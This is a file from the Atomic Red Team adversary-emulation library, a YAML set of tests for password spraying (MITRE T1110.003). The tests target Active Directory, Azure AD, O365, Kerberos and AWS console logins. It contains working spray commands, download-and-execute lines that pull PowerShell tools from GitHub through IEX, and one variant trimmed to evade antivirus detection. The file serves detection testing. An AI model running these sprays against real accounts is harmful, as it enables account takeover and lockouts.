Files
atomic-red-team/atomics/T1110.003/T1110.003.yaml
2025-01-28 00:02:41 -05:00

321 lines
15 KiB
YAML

attack_technique: T1110.003
display_name: 'Brute Force: Password Spraying'
atomic_tests:
- name: Password Spray all Domain Users
auto_generated_guid: 90bc2e54-6c84-47a5-9439-0a2a92b4b175
description:
CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.
This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list.
Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period.
Use the input arguments to specify your own password to use for the password spray.
Use the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.
See the "Windows FOR Loop Password Spraying Made Easy" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5
supported_platforms:
- windows
input_arguments:
password:
description: The password to try for each user in users.txt
type: string
default: Spring2020
dependencies:
- description: |
List of domain users to password spray must exits at %temp%\users.txt
prereq_command: |
if not exist %temp%\users.txt (exit /b 1)
get_prereq_command: |
"PathToAtomicsFolder\T1110.003\src\parse_net_users.bat"
executor:
name: command_prompt
elevation_required: false
command: |
@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL
- name: Password Spray (DomainPasswordSpray)
auto_generated_guid: 263ae743-515f-4786-ac7d-41ef3a0d4b2b
description: |
Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain
https://github.com/dafthack/DomainPasswordSpray
supported_platforms:
- windows
input_arguments:
domain:
description: Domain to brute force against
type: string
default: $Env:USERDOMAIN
executor:
name: powershell
elevation_required: false
command: |
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force
- name: Password spray all Active Directory domain users with a single password via LDAP against domain controller (NTLM or Kerberos)
auto_generated_guid: f14d956a-5b6e-4a93-847f-0c415142f07d
description: |
Attempt to brute force all Active Directory domain users with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos
Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)
supported_platforms:
- windows
input_arguments:
password:
description: single password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001)
type: string
default: P@ssw0rd!
domain:
description: Domain FQDN
type: string
default: $env:UserDnsDomain
auth:
description: authentication method to choose between "NTLM" and "Kerberos"
type: string
default: NTLM
executor:
name: powershell
elevation_required: false
command: |
if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
exit 1
}
$DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName
[System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
$di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)
$DomainUsers | Foreach-Object {
$user = $_
$password = '#{password}'
$credz = new-object System.Net.NetworkCredential($user, $password, "#{domain}")
$conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
try {
Write-Host " [-] Attempting ${password} on account ${user}."
$conn.bind()
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] ${user}:${password} are valid credentials!"
} catch {
Write-Host $_.Exception.Message
}
}
Write-Host "End of password spraying"
- name: Password spray all Azure AD users with a single password
auto_generated_guid: a8aa2d3e-1c52-4016-bc73-0f8854cfa80a
description: |
Attempt to brute force all Azure AD users with a single password (called "password spraying") via AzureAD Powershell module.
Valid credentials are only needed to fetch the list of Azure AD users.
supported_platforms:
- azure-ad
input_arguments:
password:
description: Single password we will attempt to auth with (if you need several passwords, then it is a bruteforce so see T1110.001)
type: string
default: P@ssw0rd!
valid_username:
description: Valid username to retrieve Azure AD users. We encourage users running this atomic to add a valid microsoft account domain; for eg <valid_test_user>@<valid_ms_account.com>
type: string
default: bruce.wayne@contoso.com
valid_password:
description: Valid password to authenticate as valid_username in the <valid_ms_account>
type: string
default: iamthebatman
dependency_executor_name: powershell
dependencies:
- description: |
AzureAD module must be installed.
prereq_command: |
try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}
get_prereq_command: |
Install-Module -Name AzureAD -Force
executor:
name: powershell
elevation_required: false
command: |
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{valid_password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{valid_username}", $Pword
Connect-AzureAD -Credential $Credential > $null
($Users = Get-AzureADUser -All $true) > $null
Disconnect-AzureAD > $null
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Users | Foreach-Object {
$user = $_.UserPrincipalName
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$user", $Pword
try {
Write-Host " [-] Attempting #{password} on account ${user}."
Connect-AzureAD -Credential $Credential 2>&1> $null
# if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
Write-Host " [!] ${user}:#{password} are valid credentials!`r`n"
Disconnect-AzureAD > $null
} catch {
Write-Host " [-] ${user}:#{password} invalid credentials.`r`n"
}
}
Write-Host "End of password spraying"
- name: WinPwn - DomainPasswordSpray Attacks
auto_generated_guid: 5ccf4bbd-7bf6-43fc-83ac-d9e38aff1d82
description: DomainPasswordSpray Attacks technique via function of WinPwn
supported_platforms:
- windows
executor:
command: |-
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
domainpassspray -consoleoutput -noninteractive -emptypasswords
name: powershell
- name: Password Spray Invoke-DomainPasswordSpray Light
auto_generated_guid: b15bc9a5-a4f3-4879-9304-ea0011ace63a
description: |
Perform a domain password spray using the same core method of the [DomainPasswordSpray tool](https://github.com/dafthack/DomainPasswordSpray)
but without all the extra code that makes the script get blocked by many AVs.
This atomic test will attempt a single password against all users in a password list at $env:Temp\usersdpsLight.txt. You can create this file manually
or with the automated prereq_command. The prereq_command will limit the user list to 200 users by default to help you avoid massive account lockout.
supported_platforms:
- windows
input_arguments:
user_limit:
description: The max number of users to put in the list when running the prereq_command
type: integer
default: 200
password:
description: The password to try for each user in users.txt
type: string
default: Spring2020
dependencies:
- description: |
Username file must exist at $env:Temp\usersdpsLight.txt
prereq_command: |
if (Test-Path $env:Temp\usersdpsLight.txt) {exit 0} else {exit 1}
get_prereq_command: |
Write-Host -NoNewLine "Reading Users." # this code modifed from https://github.com/ZoomerHulkHogan/Powershell-Domain-User-Enumeration
$netOutput = net users /domain
$netOutput = [System.Collections.ArrayList]($netOutput[6..($netOutput.length-3)])
$userLimit = #{user_limit}; $usercount = 0
foreach ($line in $netOutput) {
if($usercount -ge $userLimit){break}
$line = $line.trim()
$line = $line -split '\s\s+'
foreach ($user in $line){
if($usercount -ge $userLimit){break}
Add-Content $env:Temp\usersdpsLight.txt $user
$usercount = $usercount + 1
}
}
Write-Host "Usernames saved to $env:Temp\usersdpsLight.txt"
executor:
name: powershell
elevation_required: false
command: |
function Invoke-dpsLight ($Password, $userlist) {
$users = Get-Content $userlist
$Domain = "LDAP://" + ([ADSI]"").distinguishedName
foreach ($User in $users) {
$Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password)
if ($Domain_check.name -ne $null) {
Write-Host -ForegroundColor Green "Password found for User:$User Password:$Password"
}
else { Write-Host ". " -NoNewline}
}
Write-Host -ForegroundColor green "Finished"
}
Invoke-dpsLight "#{password}" $env:Temp\usersdpsLight.txt
- name: Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365)
auto_generated_guid: f3a10056-0160-4785-8744-d9bd7c12dc39
description: |
This test attempts to brute force a list of Microsoft Online (Azure/O365) users with a single password via the MSOLSpray Powershell module.
supported_platforms:
- azure-ad
input_arguments:
password:
description: Single password to try against the list of user accounts
type: string
default: P@ssword1
user_list:
description: File path to list of users (one per line, formatted as user@subdomain.onmicrosoft.com)
type: string
default: $env:temp\T1110.003UserList.txt
dependency_executor_name: powershell
dependencies:
- description: |
MSOLSpray module must exist in PathToAtomicsFolder\..\ExternalPayloads.
prereq_command: |
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"){exit 0} else {exit 1}
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://raw.githubusercontent.com/dafthack/MSOLSpray/922f159104fb3ec77c9fc6507a6388a05c227b5f/MSOLSpray.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"
executor:
name: powershell
elevation_required: false
command: |
import-module "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"
Invoke-MSOLSpray -UserList "#{user_list}" -Password "#{password}"
- name: Password Spray using Kerbrute Tool
auto_generated_guid: c6f25ec3-6475-47a9-b75d-09ac593c5ecb
description: |
Test a single password against a list of users
supported_platforms:
- windows
input_arguments:
domaincontroller:
description: Domain controller where test will be run
type: string
default: $ENV:userdnsdomain
domain:
description: Domain where you will be testing
type: string
default: $ENV:userdomain
dependency_executor_name: powershell
dependencies:
- description: |
kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads
prereq_command: |
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit 0} else {exit 1}
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"
- description: |
passwordspray.txt must exist in PathToAtomicsFolder\..\ExternalPayloads
prereq_command: |
if (test-path "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt"){exit 0} else {exit 1}
get_prereq_command: |
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.003/src/passwordspray.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt"
executor:
name: powershell
elevation_required: false
command: |
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt" password132
- name: AWS - Password Spray an AWS using GoAWSConsoleSpray
auto_generated_guid: 9c10d16b-20b1-403a-8e67-50ef7117ed4e
description: |
GoAWSConsoleSpray is a tool that can be used to spray AWS IAM Console Credentials in order to identify a valid login for a user account built by WhiteOakSecurity. For more details reagrding the tool, check - https://www.whiteoaksecurity.com/blog/goawsconsolespray-password-spraying-tool/
supported_platforms:
- iaas:aws
input_arguments:
aws_account_id:
description: ID of the AWS account
type: string
default: "XXXXXXXX"
dependencies:
- description: |
Check if go is installed
prereq_command: |
go version
get_prereq_command: |
echo Install GO
executor:
command: |
cd /tmp
git clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git
cd /tmp/GoAWSConsoleSpray
go run main.go GoAWSConsoleSpray -a #{aws_account_id} -u PathToAtomicsFolder/T1110.003/src/aws_users.txt -p PathToAtomicsFolder/T1110.003/src/aws_passwords.txt
cleanup_command: |
rm -rf /tmp/GoAWSConsoleSpray
name: sh
elevation_required: false